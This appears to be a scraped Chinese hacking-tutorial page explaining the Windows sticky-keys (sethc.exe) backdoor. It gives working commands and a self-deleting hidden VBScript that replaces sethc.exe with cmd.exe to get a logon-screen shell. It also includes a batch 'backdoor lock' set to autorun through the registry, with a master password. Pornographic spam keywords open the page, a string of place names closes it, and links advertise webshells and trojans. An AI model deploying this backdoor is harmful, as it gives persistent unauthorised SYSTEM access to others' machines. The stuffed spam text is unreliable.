最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

變態(tài)入侵之有史以來(lái)最酷的Windows后門sethc.exe

 更新時(shí)間:2007年11月22日 19:45:37   作者:  
后門原理: 

在windows 2000/xp/vista下,按shift鍵5次,可以打開粘置,會(huì)運(yùn)行sethc.exe,而且,在登錄界面里也可以打開。這就讓人聯(lián)想到WINDOWS的屏保,將程序替換成cmd.exe后,就可以打開shell了。 

XP: 

將安裝源光盤彈出(或?qū)⒂脖P上的安裝目錄改名) 
cd %widnir%\system32\dllcache 
ren sethc.exe *.ex~ 
cd %widnir%\system32 
copy /y cmd.exe sethc.exe 

VISTA: 

takeown /f c:\windows\system32\sethc.exe 
cacls c:\windows\system32\sethc.exe /G administrator:F 
然后按XP方法替換文件 

在登錄界面按5此SHIFT,出來(lái)cmd shell,然后…… 

后門擴(kuò)展: 
復(fù)制代碼 代碼如下:

Dim obj, success   
Set obj = CreateObject("WScript.Shell")   
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)   
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)   
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)   
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)   
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)   
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)   


第二句最有意思了.自動(dòng)應(yīng)答....以前就遇到過類似的問題 
再更新.加個(gè)自刪除,簡(jiǎn)化代碼...  
復(fù)制代碼 代碼如下:

On Error Resume Next   
Dim obj, success   
Set obj = CreateObject("WScript.Shell")   
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)   
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)  

后門鎖擴(kuò)展: 
allyesno注:可以采用cmd 鎖 來(lái)進(jìn)行cmdshell的密碼驗(yàn)證 
用下面的后門鎖的方法是 把代碼保存為bdlock.bat 
然后修改注冊(cè)表位置即可 
復(fù)制代碼 代碼如下:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]  
"AutoRun"="bdlock.bat"  

@Echo Off  
title 后門登陸驗(yàn)證  
color a  
cls  
set temprandom=%RANDOM%  
echo 請(qǐng)輸入驗(yàn)證碼:%temprandom%  
set/p check=  
if "%check%"=="%temprandom%%temprandom%" goto passcheck  
if "%check%"=="%temprandom%" (  
rem 后門服務(wù)器驗(yàn)證  
rem 如果沒有后門驗(yàn)證服務(wù)器請(qǐng)rem注釋掉下一行代碼  
if exist \192.168.8.8\backdoor$\pass goto passcheck  
)  
echo 驗(yàn)證失敗  
pause  
exit  
:passcheck  
echo 驗(yàn)證成功  
If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx  
Set passcmdlock=http://blog.csdn.net/freexploit/  
:allyesno  
Set Errorlevel=>nul  
Echo 請(qǐng)輸入驗(yàn)證密碼?  
Set password=allyesno Is a pig>nul  
Set/p password=  
rem 萬(wàn)能密碼  
if "%password%"=="allyesno is a sb" goto endx  
If %time:~1,1%==0 Set timechange=a  
If %time:~1,1%==1 Set timechange=b  
If %time:~1,1%==2 Set timechange=c  
If %time:~1,1%==3 Set timechange=d  
If %time:~1,1%==4 Set timechange=e  
If %time:~1,1%==5 Set timechange=f  
If %time:~1,1%==6 Set timechange=g  
If %time:~1,1%==7 Set timechange=h  
If %time:~1,1%==8 Set timechange=i  
If %time:~1,1%==9 Set timechange=j  
set/a sum=%time:~1,1%+%time:~1,1%  
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul   
If "%errorlevel%"=="0" cls&Echo 口令正確&Goto End  
Echo 請(qǐng)聯(lián)系客服咨詢正確密碼!&Goto allyesno  
:End  
Set password=>nul  
Set Errorlevel=>nul  
Echo  

:endx  

  • sql2005 sa執(zhí)行命令方法總結(jié)

    sql2005 sa執(zhí)行命令方法總結(jié)

    測(cè)試環(huán)境:windows xp pro sp2 + mssql 2005(服務(wù)以system權(quán)限啟動(dòng))
    2008-12-12
  • 歷代木馬程序隱身的技術(shù)分析

    歷代木馬程序隱身的技術(shù)分析

    歷代木馬程序隱身的技術(shù)分析...
    2007-11-11
  • MySQL注入中導(dǎo)出字段內(nèi)容的研究通過注入導(dǎo)出WebShell

    MySQL注入中導(dǎo)出字段內(nèi)容的研究通過注入導(dǎo)出WebShell

    大家都知道,在MySQL中,無(wú)法像MSSQL那樣執(zhí)行script.asp?id=1;insert into table (field) values('angel');--來(lái)插入數(shù)據(jù),因?yàn)镸ySQL里最多就是用union聯(lián)合查詢。
    2008-05-05
  • 用手機(jī)控制服務(wù)器的方法解密

    用手機(jī)控制服務(wù)器的方法解密

    用手機(jī)控制服務(wù)器的方法解密...
    2007-03-03
  • XSS 0DAY代碼

    XSS 0DAY代碼

    XSS 0DAY代碼...
    2007-03-03
  • 幾款雙功能免殺超強(qiáng)版asp小馬

    幾款雙功能免殺超強(qiáng)版asp小馬

    幾款雙功能免殺超強(qiáng)版asp小馬,對(duì)于需要查找后門的朋友可以參考下。
    2010-09-09
  • 新編MS07004網(wǎng)頁(yè)木馬源碼代碼

    新編MS07004網(wǎng)頁(yè)木馬源碼代碼

    新編MS07004網(wǎng)頁(yè)木馬源碼代碼...
    2007-03-03
  • 一個(gè)黑客所需的基本技能總結(jié)

    一個(gè)黑客所需的基本技能總結(jié)

    一個(gè)黑客所需的基本技能總結(jié)...
    2007-11-11
  • 最新評(píng)論

    凤台县| 轮台县| 灌南县| 江口县| 罗甸县| 蕲春县| 鄱阳县| 上思县| 木兰县| 定结县| 甘洛县| 长岛县| 扶风县| 团风县| 同德县| 遂平县| 卓尼县| 安龙县| 达尔| 南澳县| 阿拉善左旗| 华安县| 阿克陶县| 乃东县| 富锦市| 霞浦县| 扬中市| 民乐县| 霍山县| 台安县| 积石山| 定日县| 县级市| 河间市| 麟游县| 铜梁县| 利津县| 阳新县| 双辽市| 瓮安县| 南汇区|